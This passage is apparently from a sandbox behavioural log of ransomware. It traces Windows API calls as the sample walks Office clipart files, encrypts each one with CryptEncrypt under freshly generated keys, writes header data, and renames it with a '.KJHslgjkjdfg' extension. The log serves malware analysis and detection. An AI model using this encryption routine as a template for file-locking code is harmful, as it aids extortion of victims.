lpNumberOfBytesWritten=0x4dff270*=0x1800, lpOverlapped=0x0) returned 1 [0250.037] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.037] SetEndOfFile (hFile=0x130) returned 1 [0250.039] GetProcessHeap () returned 0x2ef0000 [0250.039] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.040] GetProcessHeap () returned 0x2ef0000 [0250.040] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.kjhslgjkjdfg")) returned 1 [0250.041] CloseHandle (hObject=0x130) returned 1 [0250.042] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70639c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x342e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="URBAN_01.MID", cAlternateFileName="")) returned 1 [0250.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.043] GetProcessHeap () returned 0x2ef0000 [0250.043] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.043] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.043] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0250.045] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.045] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.045] GetProcessHeap () returned 0x2ef0000 [0250.046] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.046] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.046] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.046] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.046] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.046] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.046] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.046] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.046] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.046] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.046] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x342e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x342e, lpOverlapped=0x0) returned 1 [0250.048] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3430, dwBufLen=0x3430 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3430) returned 1 [0250.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.048] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3430, lpOverlapped=0x0) returned 1 [0250.048] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.048] SetEndOfFile (hFile=0x130) returned 1 [0250.054] GetProcessHeap () returned 0x2ef0000 [0250.054] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.054] GetProcessHeap () returned 0x2ef0000 [0250.054] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.kjhslgjkjdfg")) returned 1 [0250.056] CloseHandle (hObject=0x130) returned 1 [0250.056] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VCTRN_01.MID", cAlternateFileName="")) returned 1 [0250.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.058] GetProcessHeap () returned 0x2ef0000 [0250.058] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.058] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.058] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0250.060] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.060] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.060] GetProcessHeap () returned 0x2ef0000 [0250.060] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.061] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.061] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.061] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.061] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.061] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.061] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.061] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.061] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.061] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.061] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1361, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1361, lpOverlapped=0x0) returned 1 [0250.062] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370, dwBufLen=0x1370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370) returned 1 [0250.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.063] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1370, lpOverlapped=0x0) returned 1 [0250.063] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.063] SetEndOfFile (hFile=0x130) returned 1 [0250.066] GetProcessHeap () returned 0x2ef0000 [0250.066] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.066] GetProcessHeap () returned 0x2ef0000 [0250.066] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.066] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.kjhslgjkjdfg")) returned 1 [0250.068] CloseHandle (hObject=0x130) returned 1 [0250.068] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce1f900, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce1f900, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01219_.GIF", cAlternateFileName="")) returned 1 [0250.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.070] GetProcessHeap () returned 0x2ef0000 [0250.070] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.070] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.070] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0250.072] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.072] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.072] GetProcessHeap () returned 0x2ef0000 [0250.072] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.072] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.072] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.072] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.072] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.072] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.072] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.073] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.073] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.073] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.073] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2e4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2e4, lpOverlapped=0x0) returned 1 [0250.073] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2f0) returned 1 [0250.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.073] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2f0, lpOverlapped=0x0) returned 1 [0250.073] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.073] SetEndOfFile (hFile=0x130) returned 1 [0250.076] GetProcessHeap () returned 0x2ef0000 [0250.076] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.080] GetProcessHeap () returned 0x2ef0000 [0250.080] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.kjhslgjkjdfg")) returned 1 [0250.082] CloseHandle (hObject=0x130) returned 1 [0250.082] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f000, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f000, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01237_.GIF", cAlternateFileName="")) returned 1 [0250.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.083] GetProcessHeap () returned 0x2ef0000 [0250.083] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.083] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.084] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0250.085] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.085] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.085] GetProcessHeap () returned 0x2ef0000 [0250.085] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.085] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.085] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.085] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.085] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.086] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.086] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.086] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.086] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.086] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.086] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16b, lpOverlapped=0x0) returned 1 [0250.086] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x170, dwBufLen=0x170 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x170) returned 1 [0250.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.086] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x170, lpOverlapped=0x0) returned 1 [0250.087] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.087] SetEndOfFile (hFile=0x130) returned 1 [0250.089] GetProcessHeap () returned 0x2ef0000 [0250.089] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.089] GetProcessHeap () returned 0x2ef0000 [0250.089] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 